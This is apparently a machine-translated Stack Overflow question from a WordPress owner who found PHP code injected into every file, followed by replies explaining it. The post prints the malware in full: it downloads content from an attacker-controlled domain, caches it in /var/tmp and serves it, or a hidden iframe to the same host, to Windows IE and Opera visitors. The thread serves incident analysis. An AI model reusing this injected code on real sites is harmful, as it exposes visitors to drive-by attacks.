2013-04-30 26 views
0

任何人都可以解釋這段代碼到底在做什麼嗎?看起來像黑客已經在wordpress安裝中添加了這個到我的每一個php文件中,我知道它打開了一個連接並從該網址下載文件。還有別的嗎?這個代碼在做什麼? eval(gzinflate(base64_decode)駭客

if (!defined('frmDs')){ 
    define('frmDs' ,1); 

    function frm_dl ($url) { 
     if (function_exists('curl_init')) { 
      $ch = curl_init($url); 
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
      $out = curl_exec ($ch); 
      if (curl_errno($ch) !== 0) $out = false; 
      curl_close ($ch); 
     } else {$out = file_get_contents($url);} 
     return trim($out); 
    } 

    function frm_crpt($in){ 
     $il=strlen($in);$o=''; 
     for ($i = 0; $i < $il; $i++) $o.=$in[$i]^'*'; 
     return $o; 
    } 

    function frm_getfrm() 
    { 
     $defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame 
     $codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js'; 
     if (!$codelink){ 
      return $defframe; 
     } 

     $dr='/var/tmp'; 
     $f = $dr.'/sess_'.md5('frm_frame'); 
     if(!file_exists($f) || time() - filemtime($f) > 60*5) 
     { 
      $dlc = frm_dl($codelink); 
      if ($dlc){ 
       if ($fp = @fopen($f, 'w')){ 
        fwrite($fp, frm_crpt($dlc)); 
        fclose($fp); 
       } 
       else 
        return $dlc; 
      } 
      else 
       @unlink($f); 
     } 
     $fc = @file_get_contents($f); 
     return ($fc)?frm_crpt($fc):$defframe; 
    } 

    $ua = $_SERVER['HTTP_USER_AGENT']; 
    if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua)){ 
     error_reporting(0); 

     if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm()) { 
      @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); 
      print($nfc); 
     } 
    } 
} 
+3

總是這種垃圾安裝'遠程shell',所以有人可以在您的服務器上執行任意命令。你被黑客入侵,並且你有很多清理工作要做,包括保護你的網站。 – 2013-04-30 17:17:35

+0

*「還有什麼?」* - 這是一個具體的編程問題? – 2013-04-30 17:18:49

+0

@ M8R-1jmw5r:不是。這就是爲什麼這將被關閉 – 2013-04-30 17:21:21

回答

4
if (!defined('frmDs')){ 
define('frmDs' ,1); 

此檢查,如果frmDs變量存在,我想,以防止被執行的腳本兩次(如果你定義了兩次相同的功能,它會給出一個錯誤)。

在函數定義之後,執行的第一個代碼塊是 $ ua = $ _SERVER ['HTTP_USER_AGENT'];如果(preg_match('/ Windows /',$ ua)& & preg_match('/ MSIE | Opera /',$ ua)){ error_reporting(0);

if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm()) { 
     @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); 
     print($nfc); 
    } 
} 

在上面的代碼塊,它檢查是否用戶具有該cookie __utmfr,如果不將其設置和frm_getfrm()的結果被打印到捲筒紙輸出。

換句話說,如果用戶第一次訪問該網站,他會在他的HTML頁面的開頭得到frm_getfrm()的結果。

的functon frm_getfrm()是複雜的,但在這一天結束它試圖從外部網站http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js的情況下的內容您的主機服務器無法連接到外部服務器返回一個隱藏的IFRAME 。 如果您的服務器可以連接到外部服務器,該腳本將使用PHP內置函數下載http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js的內容並將其返回。